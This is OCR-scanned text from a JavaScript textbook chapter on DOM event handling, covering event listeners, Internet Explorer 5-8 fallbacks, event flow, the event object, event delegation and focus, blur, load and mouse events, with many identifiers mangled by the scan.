EVENT NAMES 

Unlike the HTML and traditional 
DOM event handlers, when you 
specify the name of the event 
that you want to react to, the 
event name is not preceded by 
the word "on”. 

If you need to remove an event 
listener, there is a function called 
removeEventLi stener () which 
removes the event listener from 
the specified element (it has the 
same parameters). 
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USING PARAMETERS WITH 
EVENT HANDLERS 
& LISTENERS 


Because you cannot have parentheses after the 
function names in event handlers or listeners, 
passing arguments requires a workaround. 


Usually, when a function needs 
some information to do its job, 
you pass arguments within the 
parentheses that follow the 
function name. 


When the interpreter sees the 
parentheses after a function call, 
it runs the code straight away. 

In an event handier, you want it 
to wait until the event triggers it. 


Therefore, if you need to pass 
arguments to a function that is 
called by an event handler or 
listener, you wrap the function 
call in an anonymous function. 


The named function 
includes parentheses 
containing the 
parameter after the 
function name. 


Event name Start of anonymous function 


i — 1 — i * 1 » 

el .addEventListener( 'blur' , functionQ { 
— checkUsername(5) ; 

}, false); 

End of statement 

End of addEventLi stener() method 
Event flow Boolean (see p260) 

End of anonymous function 


The anonymous 
function is used 
as the second 
argument. It “wraps 
around" the named 
function. 


The named function that 
requires the arguments lives 
inside the anonymous function. 


Although the anonymous 
function has parentheses, it only 
runs when the event is triggered. 


The named function can use 
arguments as it only runs if the 
anonymous function is called. 
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USING PARAMETERS WITH 

EVENT LISTENERS 


The first line of this example shows the updated 
checkUsername () function, TheminLength 
parameter specifies the minimum number of 
characters that the username should be. 


The value that is passed into the checkUsername ( ) 
function is used in the conditional statement to 
check if the name is long enough, and provide 
feedback if the username name is too short, 


JAVASCRIPT 


cG6/j s/event -1 i st ener-wi t h -parameters . j s 


var el Username = document ,getElementById( 'username' ) ; 
var elMsg = document .get El ementBy Id ( 1 feedback 1 ) ; 

function checkUsername{mi nLength) { 
if (el Username, value .length < mi nLength) { 

// Set the error message 

elMsg.fextContent = 'Username must be 1 + mi nLength 
} else { 

elMsg.innerHTML = 

} 

} 


// Get username input 
// Get feedback element 

// Declare function 
// If username too short 

+ 1 characters or more*; 
// Otherwise 
// Clear msg 


el Username. addEventLi$tener(‘ blur 1 , functionQ 
checkUsername (5) ; 

}m false); 


// When it loses focus 
// Pass arguments here 


The event listener on the last three lines is longer 
than the previous example because the call to the 
checkUsername () function needs to include the 
value for the mi nLength parameter. 


To receive this information, the event listener uses 
an anonymous function, which acts like a wrapper 
Inside that wrapper the checkUsernamef) function is 
called, and passed an argument* 


Browser support: On the next page you also see 
how to deal with the lack of support for event 
listeners In IE8 and earlier, 
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SUPPORTING OLDER 
VERSIONS OF IE 


IE5-8 had a different event model and did not support 
addEventListener() but you can provide fallback code 
to make event listeners work with older versions of IE. 


IE5-IE8 did not support the addEventListenerQ 
method. Instead, it used its own method called 
attachEvent () which did the same job, but was 
only available in Internet Explorer. If you want to use 
event listeners and need to support Internet Explorer 
8 or earlier, you can use a conditional statement as 
illustrated below. 


Using an if , . *el$e statement, you can check if the 
browser supports the addEventlistener{) method. 
The condition in the i f statement will return true 
If the browser supports the addEventlistener( ) 
method, and you can use it. If the browser does not 
support that method, it returns fal se, and the code 
will try to use the attachEvent {} method. 


If the browser supports 
addEventlistener(): 

if (el .addEventListener) 

{ 

Run the code inside 
these curly braces 

el .addEventLi stenerf 1 bl 
checkUsername(5) ; 

}» false ); 

ur’, function() 

If it doesn't, do 
something else: 

} else { 



el . attachEvent { l onbl ur 1 

, function{) { 

Run the code inside 

checklisername(5) ; 


these curly braces 

}); 



When attachEvent {) is used, the event name should be preceded by the word *'on 11 (e.g., bl ur becomes onblur). 
You will see another approach to supporting the older IE event model in Chapter 13 (using a utility file). 


253 EVENTS 


FALLBACK FOR USING 
EVENT LISTENERS IN IE8 


The event handling code builds on the last example, 
but it is a lot longer this time because it contains the 
fallback for Internet Explorer 5-8, 

After the checkUsernameO function, an if 
statement checks whether add Event Li stener () is 
supported or not; it returns true if the element node 
supports this method, and fal se if it does not. 


If the browser supports the addEventLi stener (} 
method, the code inside the first set of curly braces 
is run using addEventListener(). 

If it is not supported, then the browser will use the 
attachEvent() method that older versions of IE will 
understand. In the IE version; note that the event 
name must be preceded by the word ‘'on." 


JAVASCRIPT 


c 06 /js/event-l istener-with-ie-fal Iback, js 


var el Username = document .getEl ementBy!d( 1 username 1 ) ; 
var el Msg = document .getEl ementBy!d( 1 feedback' ) ; 

function checkUsernamefminLength) { 

if (el Username* val ue .length < minlength) { 

// Set message 

elMsg.innerHTMl = ‘Username must be 1 + minLength 
} else { 

elMsg.innerHTMl - 1 1 ; 

} 

} 


// Get username input 
// Get feedback element 

// Declare function 
// If username too short 

+ 1 characters or more*; 
// Otherwise 
// Clear message 


i f (el Username. addEventLi stener) { 
el Username. addEventLi stener( 1 bl ur‘ f functionQ 
checkUsername(5) ; 

}* false ); 

} else { 

el Username. attachEvent ( ‘onblur 1 , function!) { 
checkUsername(5); 

}); 


// 

{// 

// 

// 

// 

// 

// 




If event listener supported 
When username loses focus 
Call checkUsernameO 
Capture during bubble phase 
Otherwise 

IE fallback: onblur 
Call checkUsernameO 


If you need to support IE8 (or older), instead of 
writing this fallback code for every event you are 
responding to, it is better to write your own function 
(known as a helper function) that creates the 
appropriate event handler for you. You will see a 
demonstration of this in Chapter 13, which covers 
form enhancement and validation. 


It is, however, important to understand this syntax, 
used by IE8 (and older) so that you know why the 
helper function is used and what it is doing. 

As you wifi see in the next chapter, this is another 
type of cross-browser inconsistency that jQuery can 
take care of for you. 
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EVENT FLOW 


HTML elements nest inside other elements. If you hover or click on a 
link, you will also be hovering or clicking on its parent elements. 


Imagine a list item contains a link. When you hover 
over the link or dick on it, JavaScript can trigger 
events on the <a> element, and also any elements 
the <a> element sits inside. 



EVENT BUBBLING 

The event starts at the most specific node and flows 
outwards to the hast specific one. This is the default 
type of event flow with very wide browser support. 


Event handlers/listeners can be bound to the 
containing <1 i >, <if] >, <body>, and <htm1 > 
elements, plus the document object, and the window 
object. The order in which the events fire is known 
as event flow, and events flow in two directions. 



EVENT CAPTURING 

The event starts at the feast specific node and 
flows inwards to the most specific one. This is not 
supported in Internet Explorer 8 and earlier. 


EVENTS 


WHY FLOW MATTERS 


The flow of events only really matters when your code has event 
handlers on an element and one of its ancestor or descendant elements. 


The example below has event 
listeners that respond to the 
click event on each of the 
following elements: 

• One on the <ul > element 

• One on the <1 i > element 

• One on the <a> dement in 
the list item 

The event will show the HTML 
content of that element in an 
alert box, and event flow will tell 
you which element the click is 
registered upon first. 


For traditional DOM event handlers (and HTML event attributes), all 
modern browsers default to using event bubbling rather than capturing. 
With event listeners, the final parameter in the addEvent Listener^) 
method lets you choose the direction to trigger events: 

• true - capturing phase 

• f al se = bubbling phase (fat se is often a default choice because 
capturing was not supported in IE8 or earlier) 

The event-flow,js file (shown on the left, and available in the 
download code) demonstrates the difference between bubbling and 
capturing. In this example, the event handlers have a value of fal se for 
their last parameter indicating events should be followed in bubbling 
phase. So the first alert box shows the content of the innermost <a> 
element, and works its way out. You can also see the capturing version 
in the download code. 
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THE EVENT OBJECT 


When an event occurs, the event object tells 
you information about the event, and the 
element it happened upon. 


Every time an event fires, the 
event object contains helpful 
data about the event, such as: 

• Which element the event 
happened on 

• Which key was pressed for a 
keypress event 

m What part of the viewport the 
user clicked for a cl i ck event 
(the viewport is the part of 
the browser window that 
shows the web page) 


The event object is passed to 
any function that is the event 
handier or listener. 

If you need to pass arguments 
to a named function, the event 
object will first be passed to the 
anonymous wrapper function 
(this happens automatically); 
then you must specify it as a 
parameter of the named function 
(as shown on the next page). 


When the event object is 
passed into a function, it is often 
given the parameter name e 
(for event). It is a widely used 
shorthand (and you see it 
adopted throughout this book). 

Note, however, that some 
programmers also use the 
parameter name e to refer to the 
error object; so e may mean 
event or error in some scripts. 


Not only did IES have a different syntax for event listeners (as shown on p258), the event object in IES-8 also 
had different names for the properties and methods shown in the tables below, and the example on p265. 


PROPERTY 

IE5“8 EQUIVALENT 

PURPOSE 

target 

srcElement 

The target of the event (most specific element interacted with) 

type 

type 

Type of event that was fired 

cancelable 

not supported 

Whether you can cancel the default behavior of an element 

METHOD 

IE5-8 EQUIVALENT 
PROPERTY 

PURPOSE 

preventDefault () 

re turn Value 

Cancel default behavior of the event (if it can be canceled) 

stopPropagation(} 

cancel Bubbl e 

Stops the event from bubbling or capturing any further 
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EVENT LISTENER WITH NO PARAMETERS 


function checkllsername(e) { 

^©var target s e. target; // get target of event 

} 

var el = document .getElementBy Id ( 'username' ) ; 
el .addEventListener('blur' , checkllsername, false); 

® 


1. Without you doing anything, 
a reference to the event object 
is automatically passed from 
the number 1, where the event 
listener calls the function,,. 


2. To here, where the function 
is defined. At this point the 
parameter must be named. 

It Is often given the name e for 
event* 


3. This name can then be used 
inside the function as a reference 
to the event object. You can now 
use the properties and methods 
of the event object. 


EVENT LISTENER WITH PARAMETERS 


© < 

function checkUsernamefe, minLength) { 

^►©var target = e. target; // get target of event 

} 


var el = document. getElementByldf 'username' ) ; 
el .addEventListener ( 1 bl ur ' , function (e){ ( 4 ) 
checkllsernamefe, 5); 

}» false); 


11 


1 The reference to the event 
object js automatically passed 
to the anonymous function, 
but it must be named in the 
parentheses, 


2. The reference to the event 
object can then be passed onto 
the named function. It is given as 
the first parameter of the named 
function. 


3. The named function receives 
the reference to the event object 
as the first parameter of the 
method, 4. it can now be used by 
this name in the named function, 
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THE EVENT OBJECT 
IN IE5-8 


Below you can see how you get the event object in 1E5-8. 

It is not passed automatically to event handler/listener functions; 
but it is available as a child of the wi ndow object. 


On the right, an i f statement 
checks if the event object has 
been passed into the function. 
As you saw on p168, the 
existence of an object is 
treated as a try thy value, so the 
condition here is saying ' if the 
event object does not exist--" 


function checkllsername(e) { 
if (!e) { 
e = window. event; 

} 

} 


in IE8 and less, e will not hold 
an object, so the following code 
block runs and e is set to be the 
event object that is a child of the 
window object. 

GETTING PROPERTIES 

Once you have a reference to VdP target; 

the event object, you can get its target = e. target II e.srcElement; 

properties using the technique 
on the right. This works on short 
circuit evaluation (see pi 69). 


A FUNCTION TO GET THE TARGET OF AN EVENT 

if you need to assign event function getEventTarget (e) { 

listeners to several elements, -j f ( ! e) { 

here is a function that will return 0 . w ind0W event’ 

a reference to the element the , 

event happened on* ‘ 

return e. target |j e.srcEl ement ; 
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USING EVENT LISTENERS 
WITH THE EVENT OBJECT 


Here is the example that has been used throughout 
the chapter so far with some modifications: 

1* The function is called checkLengthQ rather than 
checkUsernameO Jt can be used on any text input. 

2. The event object is passed to the event listener. 
The code includes fallbacks for IE5-8 (Chapter 13 
demonstrates using helper functions to do this). 

3. In order to determine which element the user 
was interacting with, the function uses the event 
object's target property (and for IE5-8 it uses the 
equivalent srcElement property). 


JAVASCRIPT 


function checkLength(e, minLength) { 
var el, elMsg; 
if (!e) { 
e = window. event; 

} 

el = e.target || e.srcElement; 
elMsg = el .nextSi bl ing; 

If (el .value. length < minLength) { 
elMsg. irmerHTML = "Username must be 
} else { 

elMsg. innerHTML - 1 1 ; 

} 

} 


This function is now far more flexible than the 
previous code you have seen in this chapter because: 

1. It can be used to check the length of any text 
input so long as that input is directly followed by an 
empty element that can hold a feedback message 
for the user (There should not be space or carriage 
returns between the two elements; otherwise, some 
browsers might return a whitespace node.) 

2. The code will work with IE5-8 because it tests 
whether the browser supports the latest features (or 
whether it needs to fallback to use older techniques). 

cQ6/j s/event-1 i $tener-wi th-event-object . js 

// Declare function 
// Declare variables 
// If event object doesn't exist 
// Use IE fallback 

// Get target of event 
// Get its next sibling 

// IT length is too short set msg 
+ minLength + ■ characters or more 1 ; 

// Otherwise 
// Clear message 


var el Username = document. getElementBy Id ( ' username f ) ;// Get username input 
if (el Username. addEventLi stener) { // If event listener supported 


el Username. addEventLi stener( 'blur 1 a function(e) { 
checkUsername(e, 5); 

}. false); 

} else { 

el Username. attachEvent( 'onbl ur 1 , function(e) { 
ebeckUsername(e, 5); 

}); 

} 


// On blur event 
// Call checkUsernameO 
// Capture in bubble phase 
// Otherwise 
// IE fallback onblur 
// Call checkUsernameO 
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EVENT DELEGATION 


Creating event listeners for a lot of elements 
can slow down a page, but event flow allows 
you to listen for an event on a parent element. 


[f users can interact with a lot of 
elements on the page, such as: 

• a lot of buttons in the Ul 

• a long List 

• every cell of a table 
adding event listeners to each 
element can use a lot of memory 
and slow down performance. 

Because events affect containing 
(or ancestor) elements (due 
to event flow - p260), you 
can place event handlers on a 
containing element and use the 
event object's target property 
to find which of its children the 
event happened on. 


By attaching an event listener 
to a containing element, you are 
only responding to one element 
(rather than having an event 
handler for each child element). 

You are delegating the job of the 
event listener to a parent of the 
elements. In the list shown here, 
if you place the event listener 
on the <u1> element rather than 
on links in each <li> element, 
you only need ore event listener 
This gives better performance, 
and if you add or remove items 
from the list it would still work 
the same, (The code for this 
example is shown on p269.) 
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BUY GROCERIES 


figs 

© 

pine nuts © 

honey 

0 

balsamic vinegar 

0 


ADDITIONAL BENEFITS OF EVENT DELEGATION 


WORKS WITH NEW 
ELEMENTS 


SOLVES LIMITATIONS 
WITH this KEYWORD 


SIMPLIFIES YOUR 
CODE 


If you add new elements to the 
DOM tree, you do not have to 
add event handlers to the new 
elements because the job has 
been delegated to an ancestor. 


Earlier in the chapter, the thi s 
keyword was used to identify an 
event's target, but that technique 
did not work in IE8, or when a 
function needed parameters. 


It requires fewer functions 
to be written, and there are 
fewer ties between the DOM 
and your code, which helps 
maintainability. 
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CHANGING DEFAULT 

BEHAVIOR 


preventDefaultQ 

Some events, such as clicking on 
links and submitting forms, take 
the user to another page. 

To prevent the default behavior 
of such elements (e,g., to keep 
the user on the same page 
rather than following a link 
or being taken to a new page 
after submitting a form), you 
can use the event object's 
preventDefaul t() method, 

IE5-8 have an equivalent 
property called returnVal ue 
which can be set to fal se> A 
conditional statement can check 
if the preventDefaultQ method 
ts supported, and use IBS's 
approach if it isn't: 

if (event. preventDefaul t) [ 
ev ent , preventDefaul t ( } ; 

} else { 

event. return Value = false; 

} 


The event object has methods that change: 
the default behavior of an element and how 
the element's ancestors respond to the event. 


stopPropagation() 

Once you have handled an 
event using one element, you 
may want to stop that event 
from bubbling up to its ancestor 
elements (especially if there 
are separate event handlers 
responding to the same events 
on the containing elements). 

To stop the event bubbling up, 
you can use the event object's 
stopPropogation() method. 

The equivalent in IE8 and earlier 
is the cancel Bubbl e property 
which can be set to true. Again, 
a conditional statement can 
check if the stopPropogationO 
method is supported and use 
IE8’s approach if not: 

if (event. stopPropogati on) { 
event .stopPropogationO ; 

} else { 

event .cancel Bubble = true; 

) 


USING BOTH METHODS 

You will sometimes see the 
following used m similar 
situations that are in a function: 
return false; 

It prevents the default behavior 
of the element, and prevents 
the event from bubbling up or 
capturing further It also works in 
all browsers, so it is popular 

Note, however, when the 
interpreter comes across the 
return false statement, it stops 
processing any subsequent code 
within that function and moves 
to the next statement after the 
function was called. 

Since this blocks any further 
code within the function, 
it is often better to use the 
preventDefaul t{) method of 
the event object rather than 
return false. 
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USING EVENT DELEGATION 


This example will put together a lot of what you have 
learned in the chapter so far. Each list item contains 
a link. When the user clicks on that link (to indicate 
they have completed that task), the item will be 
removed from the list. 

• There is a screen grab of the example on p266. 

• On the right there is a flowchart that helps 
explain the order in which the code is processed. 

• The right-hand page has the code for the example 

1 The event listener will be added to the <u1 > 
element, so this needs to be selected. 

2. Check whether or not the browser supports 
addEventUstener{), 

3* If so, use it to call the i temDone() function when 
the user clicks anywhere on that list. 

4. If not usetheattachEvent() method. 

5. The i temDone{) function will remove the item 
from the list It requires three pieces of information. 

6. Three variables are declared to hold the info. 

7. target holds the element the user clicked on. 

To obtain this, the getlarget() function is called. 
This is created at the start of the script, and shown 
at the bottom of the flowchart. 

8. el Parent holds that element's parent (the <1 i>) 

9. el Grandparent holds that element's grandparent 

10. The <1 i> element is removed from the <ul > 
element. 

11. Check if the browser supports preventOefaul t() 
to prevent the fink taking the user to a new page. 

12. If so, use it. 

13. If not, use the older IE returnVal ue property. 

In the HTML, the links would take you to 
i temDone.php if the browser did not support 
JavaScript. (The PHP file is not supplied with the 
code download because server-side languages are 
beyond the scope of this book.) 


Q Get <ul > element for shopping list 

1 


addEventListener{) 

supported? 


Use attachEventO 
I 


Use addEventUstenerO 

I 

i 


Event: cl i ck on any link in list 


e 


© 

o 

Q 


e 


© 


i . _ . 

FUNCTION: UemDoneO 
Removes an Item when completed 

Create variables: 

target: the element that was clicked on 
el Parent: the parent of that element 
elGrandparent: the grandparent of it 

l 

Get element clicked on; call getTargetO 

I 

Get Its parent <the <1 1> element) 

I' 

Get Its grandparent Cthe <ul> element) 

4- 

Remove <1 f > from <u 1 > element 

I 


dffc Is preventDe fault () 

supported? 

|© ©| 

Use returnVal ue preventDef aul t Q 


FUNCTION: getTargetf) 
Gets element user clicked on 


Is there 

■J no 

event object? 

i i 

Get target Get target of event using 

of event old IE event object 
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HTML 


c06/ever t-delegation.html 


< 11 ) id="shoppingList"> 

<li class="complete"><a href="itemDone.php?id=l"><em>fresh</em> figs</a></l \> 
<1 i class="complete"><a href="itemDone.php?id=2">pine nuts</a></l i> 

<1 i class= l 'cofnplete I '><a href= !l itemDone.php?id=3">honey</a></) i> 

<1 i cl ass="compl ete"><a href="itemDone,php?id=4">balsamic vinegar</a></l i> 

</ul> 


JAVASCRIPT 


function getTarget(e) { 
if (!e) { 
e = window. event; 

} 

return e. target | | e.srcElement; 

1 

(D function itemDone(e) { 

// Remove item from the list 
© var target, el Parent, elGrandparent; 

© target = getTarget(e) ; 

© el Parent = target. parentNode; 

® elGrandparent = target. parentNode. parentNode; 
® elGrandparent. removeChild{elParent) ; 


c 06 /js/event-delegation. js 

// Declare function 

// If there is no event object 

// Use old IE event object 

// Get the target of event 


// Declare function 

// Declare variables 

// Get the item clicked link 

// Get its list item 

// Get its list 

// Remove list item from list 


// Prevent the link from taking you elsewhere 
@ if {e.preventDefaul t) { 

© e.preventDefaul t() ; 

} else { 

@ e. returnVal ue = false; 

} 

1 


//If preventDefaul t() works 
// Use preventDefaultO 
// Otherwise 
// Use old IE version 


// Set up event listeners to call itemDone{) on click 
© var el = document. getElementById( ' shoppi ngList // Get shopping list 


@ if (el .addEventListener) { 

© el .addEventLi stener ( ' cl ick' , function(e) { 
i temDone(e) ; 

}, false); 

} else { 

@ el .attachEventf ' oncl ick' , function(e){ 
itemDone(e) ; 

}); 

} 


// If event listeners work 
// Add listener on click 
// It calls itemDoneO 
// Use bubbling phase for flow 
// Otherwise 

// Use old IE model: oncl ick 
ll Call itemDoneO 
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WHICH ELEMENT DID AN 
EVENT OCCUR ON? 


When calling a function, the event object's target property is the best 
way to determine which element the event occurred on. But you may see 
the approach below used; it relies on the this keyword. 


THE this KEYWORD 

The this keyword refers to the 
owner of a function. On the right, 
thi s refers to the element that 
the event is on. 

This works when no parameters 
are being passed to the function 
(and therefore it is not called 
from an anonymous function). var el ~ document ,getEl ementBy Id { 1 username 1 ) ; 

el .addEventLi stener( 1 b 1 u r 1 5 checkUsername, false}; 

- t J 

It's like the function had been 
written here rather than higher up 


function checkUsername() { 
var elMsg = document. get El ementByld ('feedback') ; 
if (this. val ue. length < 5) { 
elMsg. innerHTML = 'Not long enough'; 

} else { 

el Msg. innerHTML = ' ' ; 

} 

} 


USING PARAMETERS 

If you pass parameters to the 
function, the thi S keyword no 
longer works because the owner 
of the function is no longer 
the element that the event 
listener was bound to, it is an 
anonymous function. 

You could pass the element the 
event was called on as another 
parameter of the function. 

In both cases, the evert object is 
the preferred approach. 


function checkUsername(el , minLength) { 
var elMsg = document .getEl ementByld ( ' feedback' ) ; 
if (el .value. length < minLength) { 
elMsg. i nnerHTML = 'Not long enough'; 

} else { 

elMsg. innerHTML = ' 1 ; 

} 

1 

var el = document. getElementByld( 'username' ) ; 
el .addEventListenerCblur' , functionQ { 
checkUsername(el , 5); 

}, false); 
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Events are defined in: 

• The W3C DOM specification 
m The HTML5 specification 

• In Browser Object Models 

W3C DOM EVENTS 

The DOM events specification is 
managed by the W3C (who also 
look after other specifications 
including HTML, CSS, and XML). 
Most of the events you will meet 
in this chapter are part of this 
DOM events specification. 

Browsers implement ail the 
events using the same event 
object that you already met. 

It also provides feedback such 
as which element the event 
occurred on, which key a user 
pressed, or where the cursor is 
positioned). 

There are, however, some events 
that are not covered in the DOM 
event model - in particular those 
that deal with form elements. 
(They used to be part of the 
DOM, but got moved to the 
HTML5 specification.) 


DIFFERENT TYPES 
OF EVENTS 


In the rest of the chapter, you learn about the 
different types of events you can respond to. 


Most are a result of the user 
interacting with the HTML, but 
there are a few that react to the 
browser or other DOM events. 

HTML5 EVENTS 

The HTMLS specification 
(that is still being developed) 
details events that browsers are 
expected to support that are 
specifically used with HTML. 

For example, events that are 
fired when a form is submitted 
or form elements are changed 
(which you will meet on p282): 

submit 

input 

change 

There are also new events 
introduced with the HTML5 
specification that are only 
supported by more recent 
browsers. Here are a few (which 
you will meet on p286): 

readystatechange 

DOMContentLoaded 

hashchange 


We do not show every event, 
but the examples you see should 
teach you enough so that you 
can work with all types of events. 

BOM EVENTS 

Browser manufacturers also 
implement some events as part 
of their Browser Object Model 
(or BOM). Typically these are 
events not (yet) covered by 
W3C specifications (although 
some will be added to W3C 
specifications in the future). 
Several of these events dealt 
with touchscreen devices: 

touchstart 

touchend 

touchmove 

orientationchange 

Other events are being added 
to capture gestures and take 
advantage of accelerometers. 
Care is needed using such 
features, as different browsers 
often create different 
implementations of similar 
functionality. 
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USER INTERFACE EVENTS 


User interface (Ul) events occur 
browser window rather than the 
e.g., a page having loaded or the 


as a result of interaction with the 
HTML page contained within it, 
browser window being resized. 


The event handler / listener for 
Ul events should be attached to 
the browser window. 


In old HTML code, you may see these events used as attributes on the 
opening <body> tag, (For example, older code used the anl oad attribute 
to trigger code that would run when the page had loaded.) 


EVENT 

TRIGGER 

BROWSER SUPPORT 

load 

Fires when the web page has finished loading. 

It can also fire on nodes of other elements that 
load, such as images, scripts, or objects, 

The DOM Level 2 (Nov 2000) states that it fires 
on the document object, but prior to this it fired 
on the wi rtdow object. Browsers support both for 
backwardscompatibility, and developers often 
stilt attach 1 oad event handlers to the wi ndow (not 
document) object. 

unload 

Fires when the web page is unloading (usually 
because a new page has been requested). 

See also the beforeuni oad event (on p286) 
which fires before the user leaves a page. 

The DOM Level 2 states that it fires on the node 
for the <body> element, but in older browsers it 
fired on the wi ndow object (this is often used for 
backwards compatibility). 

error 

Fires when the browser encounters a JavaScript 
error or an asset doesn't exist. 

Support for this event is inconsistent across 
browsers and so it is not reliable for error handling, 
a topic you learn more about in Chapter 10, 

resize 

Fires when the browser window has been resized. 

Browsers repeatedly fire the resize event as the 
window is being resized, so avoid using this event 
to trigger complicated code because this might 
make the page appear less responsive. 

scroll 

Fires when the user has scrolled up or down the 
page. It can relate to the entire page or a specific 
element on the page (such as a <textarea> that 
has scrollbars). 

Browsers repeatedly fire the event as the window is 
scrolled, so avoid running complicated code as the 
user scrolls. 
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LOAD 


The load event is commonly 
used to trigger scripts that 
access the contents of the page. 
In this example, a function called 
setup () gives focus to the text 
input when the page has loaded. 


The event is automaticaliy raised 
by the wi ndow object when a 
page has finished loading the 
HTML and all of its resources: 
images, C55, scripts (even third 
party content e.g. r banner ads). 


The setup() function would not 
work before the page has loaded 
because it relies on finding the 
element whose id attribute has 
a value of username, in order to 
give It focus. 


JAVASCRIPT 


c06/js/load.js 


function setupO { 
var textlnput; 

textlnput = document. getElementByXd( ' username ') ; 
textlnput. focus() ; 

} 


// Declare function 
// Create variable 
// Get username input 
// Give username focus 


window.addEventListenerC ' load' , setup, false); // When page loaded call setupO 


RESULT 


NEW ACCOUNT 

Create a username: 



Note that the event listener is 
attached to the m ndow object 
(not the document object ~ as 
this can cause cross-browser 
compatibility issues), 

ff the <$cript> element is at the 
end of the HTML page, then the 
DOM wouid have loaded the 
form elements before the script 
runs, and there would be no 
need to wait for the load event. 
(See also: the DOMContentLoaded 
event on p286 and jQuery's 
document, ready() method on 
P 312.) 


Because the 1 oad event only 
fires when everything else on the 
page has loaded (images, scripts, 
even ads), the user already have 
started to use the page before the 
script has started to run. 


Users particularly notice when a 
script changes the appearance 
of the page, changes focus, or 
selects form elements after they 
have started to use it. (It can 
make a site look slower to load.) 


Imagine this form had more 
inputs; the user may be filling 
in the second or third box when 
the script fires - moving focus 
back to the first box too iate and 
interrupting the user. 
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FOCUS & BLUR EVENTS 


The HTML elements you can interact with, such as links and form 
elements, can gain focus. These events fire when they gain or lose focus. 


If you can interact with an HTML element then it 
can gain (and lose) focus. You can also tab between 
the elements that can gain focus (a technique often 
used by those with visual impairments). 

in older scripts, the focus and blur events were 
often used to change the appearance of an element 
as it gained focus, but now the CSS : focus pseudo- 
class Is a better solution (unless you need to affect 
an element other than the one that gained focus). 


The focus and bl ur events are most commonly used 
on forms. They can be particularly helpful when: 

* You want to show tips or feedback to users as 
they interact with an individual element within a 
form (the tips are usually shown in other elements 
and not the one they are interacting with) 

* You need to trigger form validation as a user 
moves from one control to the next (rather than 
waiting for them to submit the entire form first) 


EVENT 

TRIGGER 

FLOW 

focus 

When an element gains focus, the focus event fires for that DOM node. 

Capture 

blur 

When an element loses focus, the blur event fires for that DOM node. 

Capture 

focus in 

Same as focus (see above but not supported in Firefox at time of writing) 

Bubble & capture 

foe us out 

Same as bl ur (see above but not supported in Ftrefox at time of writing) 

Bubble & capture 
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FOCUS & BLUR 


In this example, as the text Input 
gains and loses focus, feedback 
is shown to the user in the <di v> 
element under the text input. 
The feedback is given using two 
functions. 


tipUsernameO Is triggered 
when the text input gains focus. 
It changes the cl ass attribute 
of the element containing the 
message, and updates the 
contents of the element. 


checkUsernameQ is triggered 
when the text input loses focus. 
It adds a message and changes 
the cl ass if the username is less 
than 5 characters; otherwise, it 
clears the message. 


JAVASCRIPT 


c06/js/focus-blur.js 


function checkUsername{) { 
var username = el. value; 
if (username. length < 5) { 
elMsg.className = 'warning'; 
elMsg.textContent = 'Not long enough, 

} else { 

elMsg.textContent = 1 ‘ ; 

} 

} 

function tipUsernameO { 
elMsg.className = 'tip 1 ; 
elMsg.innerHTML = 'Username must be at 


// Declare function 
// Store username in variable 
// If username < 5 characters 
// Change class on message 
' ;// Update message 
// Otherwise 
// Clear the message 


// Declare function 
// Change class for message 
least 5 characters'; // Add message 


var el = document. getElementById(’username' ) ; // Username input 

var el Msg = document. getEl ementByld (' feedback' ) // Element to hold message 

// When the username input gains / loses focus call functions above: 
el .addEventLi stener( ' focus ' , tipUsername, false); // focus call tipUsernameO 
el .addEventListenerf ' blur' , checkUsername, false);// blur call checkUsername() 


RESULT 
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MOUSE EVENTS 


The mouse events are fired when the mouse is moved and also when its 
buttons are clicked. 


All of the elements on a page support the mouse Preventing a default behavior can have unexpected 

events, and all of these bubble, Note that actions are results, E,g>, a el ick event only fires when both the 

different on touchscreen devices, mousedown and mouseup event have fired. 


EVENT 

TRIGGER 

TOUCH 

click 

Fires when the user dicks on the primary mouse button 
(usually the left button if there is more than one). The click 
event will fire for the element that the mouse is currently 
over It will also fire if the user presses the Enter key on the 
keyboard when an element has focus. 

A tap on the touchscreen will be 
treated like a single left-click. 

dbl click 

Fires when the user clicks the primary mouse button twice 
in quick succession. 

A double-tap will be treated as a 
double left click. 

mousedown 

Fires when the user clicks down on any mouse button. 
(Cannot be triggered by keyboard.) 

You can use the touchstart event. 

mouseup 

Fires when the user releases a mouse button. (Cannot be 
triggered by keyboard.) 

You can use the touchend event. 

mouseover 

Fires when the cursor was outside an element and is then 
moved inside it, (Cannot be triggered by keyboard,) 

Fires when the cursor is moved over 
an element. 

mouseout 

Fires when the cursor is over an element, and then moves 
onto another element - outside of the current element or a 
child of it (Cannot be triggered by keyboard.) 

Fires when the cursor is moved off an 
element. 

mousemove 

Fires when the cursor is moved around an element. This 
event is repeatedly fired, (Cannot be triggered by keyboard.) 

Fires when the cursor is moved. 


WHEN TO USE CSS 

The mouseover and mouseout events were often 
used to change the appearance of boxes or to switch 
images as the user rolls over them. To change the 
appearance of the element, a preferable technique 
would be to use the CSS : hover pseudo-class. 


WHY SEPARATE MOUSEDOWN & UP? 

The mousedown and mouseup events separate 
out the press and release of a mouse button. 

They are commonly used for adding drag and 
drop functionality, or to add controls in game 
development. 
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CLICK 


The aim of this example is to use 
the cl i ck event to remove the 
big note that has been added to 
the middle of the page. But first, 
the script has to create that note. 


Because the note is over the 
top of the page, we only want 
to show it to users who have 
JavaScript enabled (otherwise 
they could not hide it). 


When the cl i ck event fires on 
the dose link the di smi ssNote() 
function is called. This function 
will remove the note that was 
added by the same script. 


JAVASCRIPT 


c06/js/cl ick.js 


// Create the HTML for the message 

var msg = '<div cl ass=\"header\"><a id=V'close\" href="#''>close X</a></div>’ ; 

msg += l<: div><h2>System Maintenance</h2>' ; 

msg += 'Our servers are being updated between 3 and 4 a.m. 1 ; 

msg += 'During this time, there may be minor disruptions to service. </di v>' ; 


var el Note = document. createEl ement { ' d i v ') ; 
el Note. setAttribute( ' id ' , 'note ' ) ; 
elNote.innerHTML = msg; 
document. body. appendChi Id {el Note) ; 

function di smi ssNote() { 
document .body .removeChi 1 d (el Note) ; 

} 


// Create a new element 
// Add an id of note 
// Add the message 
// Add it to the page 

// Declare function 
// Remove the note 


var elClose = document. getEl ementByld (' cl ose 1 ) ; // Get the close button 

elClose.addEventListener( 'cl i ck ' , dismissNote, false);// Click close-clear note 


RESULT 


close X 


SYSTEM MAINTENANCE 

Our servers are being updated between 
Sand 4a,nu During this time, there may 
be minor disruptions to service. 


ACCESSIBILITY 

The cl i ck event can be applied 
to any element, but it is better 
to only use it on items that are 
usually clicked or it will not be 
accessible to people who rely 
upon keyboard navigation. 

You may also be tempted to use 
the cl i ck event to run a script 
when a user clicks on a form 
dement, but It is betterto use 
the focus event because that 
fires when the user accesses 
that control using the tab key. 


EVENTS 277, 






